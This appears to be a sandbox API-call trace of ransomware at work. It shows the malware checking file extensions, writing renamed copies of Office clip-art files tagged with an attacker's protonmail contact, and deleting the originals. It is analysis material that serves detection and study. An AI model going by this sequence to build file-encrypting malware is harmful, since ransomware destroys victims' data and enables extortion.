	[0199.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0199.082] lstrlenW (lpString=".zip") returned 4
	[0199.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.082] lstrlenW (lpString=".rar") returned 4
	[0199.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.082] lstrlenW (lpString=".bz2") returned 4
	[0199.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.082] lstrlenW (lpString=".7z") returned 3
	[0199.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0199.082] lstrlenW (lpString=".dbf") returned 4
	[0199.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0199.083] lstrlenW (lpString=".1cd") returned 4
	[0199.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0199.083] lstrlenW (lpString=".jpg") returned 4
	[0199.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0199.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0199.083] lstrlenW (lpString=".doc") returned 4
	[0199.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.083] lstrlenW (lpString=".docx") returned 5
	[0199.083] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0199.083] lstrlenW (lpString=".pdf") returned 4
	[0199.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.083] lstrlenW (lpString=".xls") returned 4
	[0199.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.083] lstrlenW (lpString=".xlsx") returned 5
	[0199.083] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0199.083] lstrlenW (lpString=".ppt") returned 4
	[0199.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0199.083] lstrlenW (lpString=".zip") returned 4
	[0199.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.083] lstrlenW (lpString=".rar") returned 4
	[0199.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.083] lstrlenW (lpString=".bz2") returned 4
	[0199.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.083] lstrlenW (lpString=".7z") returned 3
	[0199.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0199.084] lstrlenW (lpString=".dbf") returned 4
	[0199.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0199.084] lstrlenW (lpString=".1cd") returned 4
	[0199.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0199.084] lstrlenW (lpString=".jpg") returned 4
	[0199.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.084] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.084] lstrlenW (lpString="J0107718.WMF") returned 12
	[0199.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.085] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=3800) returned 1
	[0199.085] CloseHandle (hObject=0x368) returned 1
	[0199.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 0x220
	[0199.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.086] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.086] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.209] GetLastError () returned 0x0
	[0199.209] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xed8, lpOverlapped=0x0) returned 1
	[0199.211] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xee0, lpOverlapped=0x0) returned 1
	[0199.212] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.212] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.213] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.213] CloseHandle (hObject=0x5bc) returned 1
	[0199.213] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.213] SetEndOfFile (hFile=0x368) returned 1
	[0199.216] CloseHandle (hObject=0x368) returned 1
	[0199.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 1
	[0199.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0199.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0199.218] lstrlenW (lpString=".doc") returned 4
	[0199.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.218] lstrlenW (lpString=".docx") returned 5
	[0199.218] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0199.218] lstrlenW (lpString=".pdf") returned 4
	[0199.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.218] lstrlenW (lpString=".xls") returned 4
	[0199.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.219] lstrlenW (lpString=".xlsx") returned 5
	[0199.219] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0199.219] lstrlenW (lpString=".ppt") returned 4
	[0199.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0199.219] lstrlenW (lpString=".zip") returned 4
	[0199.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.219] lstrlenW (lpString=".rar") returned 4
	[0199.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.219] lstrlenW (lpString=".bz2") returned 4
	[0199.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.219] lstrlenW (lpString=".7z") returned 3
	[0199.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0199.219] lstrlenW (lpString=".dbf") returned 4
	[0199.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0199.219] lstrlenW (lpString=".1cd") returned 4
	[0199.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0199.219] lstrlenW (lpString=".jpg") returned 4
	[0199.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0199.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0199.219] lstrlenW (lpString=".doc") returned 4
	[0199.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.219] lstrlenW (lpString=".docx") returned 5
	[0199.219] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0199.219] lstrlenW (lpString=".pdf") returned 4
	[0199.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.220] lstrlenW (lpString=".xls") returned 4
	[0199.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.220] lstrlenW (lpString=".xlsx") returned 5
	[0199.220] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0199.220] lstrlenW (lpString=".ppt") returned 4
	[0199.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0199.220] lstrlenW (lpString=".zip") returned 4
	[0199.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.220] lstrlenW (lpString=".rar") returned 4
	[0199.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.220] lstrlenW (lpString=".bz2") returned 4
	[0199.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.220] lstrlenW (lpString=".7z") returned 3
	[0199.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0199.220] lstrlenW (lpString=".dbf") returned 4
	[0199.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0199.220] lstrlenW (lpString=".1cd") returned 4
	[0199.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0199.220] lstrlenW (lpString=".jpg") returned 4
	[0199.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.220] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.221] lstrlenW (lpString="J0107730.WMF") returned 12
	[0199.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.221] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=3060) returned 1
	[0199.221] CloseHandle (hObject=0x368) returned 1
	[0199.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 0x220
	[0199.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.222] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.222] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.223] GetLastError () returned 0x0
	[0199.223] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xbf4, lpOverlapped=0x0) returned 1
	[0199.225] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xc00, lpOverlapped=0x0) returned 1
	[0199.226] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.226] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.226] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.226] CloseHandle (hObject=0x5bc) returned 1
	[0199.226] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.227] SetEndOfFile (hFile=0x368) returned 1
	[0199.229] CloseHandle (hObject=0x368) returned 1
	[0199.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 1
	[0199.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0199.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0199.230] lstrlenW (lpString=".doc") returned 4
	[0199.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.231] lstrlenW (lpString=".docx") returned 5
	[0199.231] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0199.231] lstrlenW (lpString=".pdf") returned 4
	[0199.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.231] lstrlenW (lpString=".xls") returned 4
	[0199.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.231] lstrlenW (lpString=".xlsx") returned 5
	[0199.231] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0199.231] lstrlenW (lpString=".ppt") returned 4
	[0199.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0199.231] lstrlenW (lpString=".zip") returned 4
	[0199.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.231] lstrlenW (lpString=".rar") returned 4
	[0199.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.231] lstrlenW (lpString=".bz2") returned 4
	[0199.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.231] lstrlenW (lpString=".7z") returned 3
	[0199.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0199.231] lstrlenW (lpString=".dbf") returned 4
	[0199.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0199.231] lstrlenW (lpString=".1cd") returned 4
	[0199.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0199.231] lstrlenW (lpString=".jpg") returned 4
	[0199.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0199.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0199.232] lstrlenW (lpString=".doc") returned 4
	[0199.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.232] lstrlenW (lpString=".docx") returned 5
	[0199.232] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0199.232] lstrlenW (lpString=".pdf") returned 4
	[0199.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.232] lstrlenW (lpString=".xls") returned 4
	[0199.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.232] lstrlenW (lpString=".xlsx") returned 5
	[0199.232] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0199.232] lstrlenW (lpString=".ppt") returned 4
	[0199.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0199.232] lstrlenW (lpString=".zip") returned 4
	[0199.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.232] lstrlenW (lpString=".rar") returned 4
	[0199.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.232] lstrlenW (lpString=".bz2") returned 4
	[0199.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.232] lstrlenW (lpString=".7z") returned 3
	[0199.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0199.232] lstrlenW (lpString=".dbf") returned 4
	[0199.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0199.232] lstrlenW (lpString=".1cd") returned 4
	[0199.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0199.233] lstrlenW (lpString=".jpg") returned 4
	[0199.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.233] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.233] lstrlenW (lpString="J0107734.WMF") returned 12
	[0199.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.233] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=3140) returned 1
	[0199.234] CloseHandle (hObject=0x368) returned 1
	[0199.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 0x220
	[0199.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.234] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.234] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.235] GetLastError () returned 0x0
	[0199.235] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xc44, lpOverlapped=0x0) returned 1
	[0199.237] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xc50, lpOverlapped=0x0) returned 1
	[0199.238] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.238] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.238] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.238] CloseHandle (hObject=0x5bc) returned 1
	[0199.238] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.238] SetEndOfFile (hFile=0x368) returned 1
	[0199.241] CloseHandle (hObject=0x368) returned 1
	[0199.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 1
	[0199.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0199.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0199.242] lstrlenW (lpString=".doc") returned 4
	[0199.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.242] lstrlenW (lpString=".docx") returned 5
	[0199.242] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0199.242] lstrlenW (lpString=".pdf") returned 4
	[0199.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.242] lstrlenW (lpString=".xls") returned 4
	[0199.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.242] lstrlenW (lpString=".xlsx") returned 5
	[0199.242] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0199.242] lstrlenW (lpString=".ppt") returned 4
	[0199.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
